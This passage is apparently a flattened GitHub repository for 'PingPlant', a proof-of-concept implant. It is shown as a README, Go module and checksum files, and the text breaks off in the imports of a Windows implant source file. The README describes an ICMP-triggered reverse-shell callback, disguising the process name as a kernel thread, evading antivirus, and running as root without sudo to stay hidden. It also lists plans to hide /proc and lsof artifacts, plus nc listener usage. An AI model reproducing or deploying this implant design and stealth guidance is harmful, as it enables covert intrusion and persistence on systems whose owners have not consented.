├── .gitignore ├── README.md ├── go.mod ├── go.sum ├── pingPlantFull_win.go ├── pingPlantSingle_win.go ├── pingSend.go └── testcode ├── testinline.go ├── testole.go └── whoami.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .vscode/**/* 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PingPlant 2 | 3 | ## OUTDATED, NEED TO REDO DOCS 4 | 5 | `PingPlant` is a Linux implant PoC that starts a custom listener for ICMP data, and parses the ethernet frame to check for a special payload. 6 | 7 | If this payload is found, it will then initiate a callback to a defined IP. 8 | 9 | Even though I have this connect back with a reverse shell, you could edit this to have it execute anything on the infected system when the special payload is received. Feel free to play around with this! 10 | 11 | 12 | # Caveats 13 | 14 | There is a functionality that will change the process name during initial run time. I've provided a generic name to hide this in most linux systems, called `[krfcommand]` 15 | 16 | The way I got this to work, is that the original binary name needs to be the same amount of characters as this covert name. So if you're planning on using/testing this out, your binary name needs to be no longer than the covert one. 17 | 18 | For example `[krfcommand]` is 12 characters, so if your compiled binary name is 11 characters, this will work, if it's 12 or higher, it will not work. Play around with this to figure out the sweet spot. 19 | 20 | 21 | # System artifacts 22 | 23 | Though there is a neat feature to hide the actual binary name from the running proc list, `losf` and manually investigating the `/proc//` directory will give away the fact that something fishy is going on. Whether that means this will get "caught" or if the running process will just get kicked, who knows? My thought about not doing much about that now, is that if there is someone going to that level of analysis, chances are something else was seen that made an investigation start. 24 | 25 | 26 | 27 | # Build Instructions 28 | 29 | ``` 30 | go build -ldflags=-s -o pingPlant.go 31 | ``` 32 | 33 | # Usage 34 | 35 | Testing out this PoC is pretty easy. In one terminal, start a `nc` listener on whatever host and port you define (defaulted to localhost:8080): 36 | 37 | ``` 38 | nc -nvlp 8080 39 | ``` 40 | 41 | Now run the built binary in the background as root (don't call sudo, since this is will show up in the process tree with the real name of the binary) 42 | 43 | ``` 44 | sudo -s 45 | ./pingPlant & 46 | ``` 47 | 48 | At this point, the listener is active, and will be accepting "ICMP ECHO" packets. 49 | 50 | Finally, you can run the sender however you would like. There is much need to compile this, since this doesn't need to be as stealthy. This is included just so you can test out the functionality. 51 | 52 | ``` 53 | go run pingSend.go 54 | ``` 55 | 56 | 57 | # Features 58 | 59 | * Runtime process renaming 60 | * No listening ports 61 | * Written in Go, so almost all AV's will never pick this up 62 | 63 | 64 | # TODO 65 | 66 | * Have the callback function automatically grab the IP from the machine calling in, to connect automagically 67 | * Have this also try and hide /proc and `lsof` artifacts 68 | 69 | # Demo 70 | 71 | [![asciicast](https://asciinema.org/a/SvNWp9d8a6U3Zyz8WGhTns9Na.svg)](https://asciinema.org/a/SvNWp9d8a6U3Zyz8WGhTns9Na) 72 | 73 | 74 | # Disclaimer 75 | 76 | DO NOT run this on any system you don't have permission to. The author takes no responsibility if this code is used for any purpose other than educational. This was made purely for learning and educational purposes. 77 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module pingplant 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/AlecAivazis/survey/v2 v2.3.6 7 | github.com/fatih/color v1.13.0 8 | github.com/go-ole/go-ole v1.2.6 9 | github.com/iamacarpet/go-win64api v0.0.0-20230324134531-ef6dbdd6db97 10 | github.com/manifoldco/promptui v0.9.0 11 | github.com/olekukonko/tablewriter v0.0.5 12 | github.com/rs/zerolog v1.28.0 13 | github.com/satori/go.uuid v1.2.0 14 | golang.org/x/net v0.0.0-20220909164309-bea034e7d591 15 | ) 16 | 17 | require ( 18 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e // indirect 19 | github.com/google/cabbie v1.0.2 // indirect 20 | github.com/google/glazier v0.0.0-20211029225403-9f766cca891d // indirect 21 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect 22 | github.com/mattn/go-colorable v0.1.12 // indirect 23 | github.com/mattn/go-isatty v0.0.14 // indirect 24 | github.com/mattn/go-runewidth v0.0.9 // indirect 25 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect 26 | github.com/scjalliance/comshim v0.0.0-20190308082608-cf06d2532c4e // indirect 27 | golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10 // indirect 28 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 // indirect 29 | golang.org/x/text v0.3.7 // indirect 30 | ) 31 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | bitbucket.org/creachadair/stringset v0.0.9/go.mod h1:t+4WcQ4+PXTa8aQdNKe40ZP6iwesoMFWAxPGd3UGjyY= 2 | github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw= 3 | github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI= 4 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 5 | github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s= 6 | github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w= 7 | github.com/StackExchange/wmi v1.2.0/go.mod h1:3eOhrUMpNV+6aFIbp5/iudMxNCF27Vw2OZgy4xEx0Fg= 8 | github.com/capnspacehook/taskmaster v0.0.0-20210519235353-1629df7c85e9/go.mod h1:257CYs3Wd/CTlLQ3c72jKv+fFE2MV3WPNnV5jiroYUU= 9 | github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE= 10 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= 11 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8= 12 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= 13 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8= 14 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= 15 | github.com/coreos/go-systemd/v22 v22.3.3-0.20220203105225-a9a7ef127534/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= 16 | github.com/creachadair/staticfile v0.1.3/go.mod h1:a3qySzCIXEprDGxk6tSxSI+dBBdLzqeBOMhZ+o2d3pM= 17 | github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI= 18 | github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= 19 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 20 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 21 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 22 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= 23 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= 24 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 25 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 26 | github.com/go-ole/go-ole v1.2.4/go.mod h1:XCwSNxSkXRo4vlyPy93sltvi/qJq0jqQhjqQNIwKuxM= 27 | github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 28 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 29 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 30 | github.com/godbus/dbus v4.1.0+incompatible/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw= 31 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 32 | github.com/golang/glog v0.0.0-20210429001901-424d2337a529/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 33 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 34 | github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= 35 | github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= 36 | github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= 37 | github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= 38 | github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= 39 | github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= 40 | github.com/google/aukera v0.0.0-20201117230544-d145c8357fea/go.mod h1:oXqTZORBzdwQ6L32YjJmaPajqIV/hoGEouwpFMf4cJE= 41 | github.com/google/cabbie v1.0.2 h1:UtB+Nn6fPB43wGg5xs4tgU+P3hTZ6KsulgtaHtqZZfs= 42 | github.com/google/cabbie v1.0.2/go.mod h1:6MmHaUrgfabehCHAIaxdrbmvHSxUVXj3Abs08FMABSo= 43 | github.com/google/glazier v0.0.0-20210617205946-bf91b619f5d4/go.mod h1:g7oyIhindbeebnBh0hbFua5rv6XUt/nweDwIWdvxirg= 44 | github.com/google/glazier v0.0.0-20211029225403-9f766cca891d h1:GBIF4RkD4E9USvSRT4O4tBCT77JExIr+qnruI9nkJQo= 45 | github.com/google/glazier v0.0.0-20211029225403-9f766cca891d/go.mod h1:h2R3DLUecGbLSyi6CcxBs5bdgtJhgK+lIffglvAcGKg= 46 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 47 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 48 | github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 49 | github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 50 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 51 | github.com/google/logger v1.1.0/go.mod h1:w7O8nrRr0xufejBlQMI83MXqRusvREoJdaAxV+CoAB4= 52 | github.com/google/logger v1.1.1/go.mod h1:BkeJZ+1FhQ+/d087r4dzojEg1u2ZX+ZqG1jTUrLM+zQ= 53 | github.com/google/subcommands v1.2.0/go.mod h1:ZjhPrFU+Olkh9WazFPsl27BQ4UPiG37m3yTrtFlrHVk= 54 | github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 55 | github.com/google/winops v0.0.0-20210803215038-c8511b84de2b/go.mod h1:ShbX8v8clPm/3chw9zHVwtW3QhrFpL8mXOwNxClt4pg= 56 | github.com/groob/plist v0.0.0-20210519001750-9f754062e6d6/go.mod h1:itkABA+w2cw7x5nYUS/pLRef6ludkZKOigbROmCTaFw= 57 | github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog= 58 | github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68= 59 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= 60 | github.com/iamacarpet/go-win64api v0.0.0-20210311141720-fe38760bed28/go.mod h1:oGJx9dz0Ny7HC7U55RZ0Smd6N9p3hXP/+hOFtuYrAxM= 61 | github.com/iamacarpet/go-win64api v0.0.0-20230324134531-ef6dbdd6db97 h1:VjwKCN2PMLlMKM2k9AW8QQsfmEH43ldlX+JGeWW9cEE= 62 | github.com/iamacarpet/go-win64api v0.0.0-20230324134531-ef6dbdd6db97/go.mod h1:B7zFQPAznj+ujXel5X+LUoK3LgY6VboCdVYHZNn7gpg= 63 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= 64 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= 65 | github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA= 66 | github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg= 67 | github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 68 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= 69 | github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= 70 | github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= 71 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 72 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= 73 | github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= 74 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= 75 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 76 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 77 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4= 78 | github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE= 79 | github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= 80 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= 81 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= 82 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= 83 | github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= 84 | github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= 85 | github.com/onsi/gomega v1.10.2/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= 86 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 87 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 88 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 89 | github.com/rickb777/date v1.14.2/go.mod h1:swmf05C+hN+m8/Xh7gEq3uB6QJDNc5pQBWojKdHetOs= 90 | github.com/rickb777/plural v1.2.2/go.mod h1:xyHbelv4YvJE51gjMnHvk+U2e9zIysg6lTnSQK8XUYA= 91 | github.com/robfig/cron/v3 v3.0.1/go.mod h1:eQICP3HwyT7UooqI/z+Ov+PtYAWygg1TEWWzGIFLtro= 92 | github.com/rs/xid v1.4.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= 93 | github.com/rs/zerolog v1.28.0 h1:MirSo27VyNi7RJYP3078AA1+Cyzd2GB66qy3aUHvsWY= 94 | github.com/rs/zerolog v1.28.0/go.mod h1:NILgTygv/Uej1ra5XxGf82ZFSLk58MFGAUS2o6usyD0= 95 | github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= 96 | github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= 97 | github.com/scjalliance/comshim v0.0.0-20190308082608-cf06d2532c4e h1:+/AzLkOdIXEPrAQtwAeWOBnPQ0BnYlBW0aCZmSb47u4= 98 | github.com/scjalliance/comshim v0.0.0-20190308082608-cf06d2532c4e/go.mod h1:9Tc1SKnfACJb9N7cw2eyuI6xzy845G7uZONBsi5uPEA= 99 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 100 | github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= 101 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 102 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 103 | golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 104 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= 105 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 106 | golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= 107 | golang.org/x/net v0.0.0-20201006153459-a7d1128ccaa0/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= 108 | golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= 109 | golang.org/x/net v0.0.0-20220909164309-bea034e7d591 h1:D0B/7al0LLrVC8aWF4+oxpv/m8bc7ViFfVS8/gXGdqI= 110 | golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= 111 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 112 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 113 | golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 114 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 115 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 116 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 117 | golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 118 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 119 | golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 120 | golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 121 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 122 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 123 | golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 124 | golang.org/x/sys v0.0.0-20200622182413-4b0db7f3f76b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 125 | golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 126 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 127 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 128 | golang.org/x/sys v0.0.0-20210426230700-d19ff857e887/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 129 | golang.org/x/sys v0.0.0-20210601080250-7ecdf8ef093b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 130 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 131 | golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 132 | golang.org/x/sys v0.0.0-20211107104306-e0b2ad06fe42/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 133 | golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 134 | golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10 h1:WIoqL4EROvwiPdUtaip4VcDdpZ4kha7wBWZrbVKCIZg= 135 | golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 136 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 137 | golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY= 138 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= 139 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 140 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 141 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 142 | golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 143 | golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk= 144 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 145 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 146 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 147 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 148 | google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= 149 | google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= 150 | google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= 151 | google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= 152 | google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= 153 | google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= 154 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= 155 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 156 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= 157 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 158 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 159 | gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 160 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 161 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 162 | -------------------------------------------------------------------------------- /pingPlantFull_win.go: -------------------------------------------------------------------------------- 1 | // This is the code for the full on implant for windows targets 2 | 3 | // TODO: Create Checkin routine with relevant data 4 | // TODO: Implement secret Message for initial callback 5 | // TODO: Create a UUID check in the message, otherwise all agents run any command sent to any agent 6 | 7 | package main 8 | 9 | import ( 10 | // Base Libs 11 | "encoding/base64" 12 | "encoding/hex" 13 | "fmt" 14 | "log" 15 | "strings" 16 | "net" 17 | "os" 18 | "os/exec" 19 | "time" 20 | "syscall" 21 | 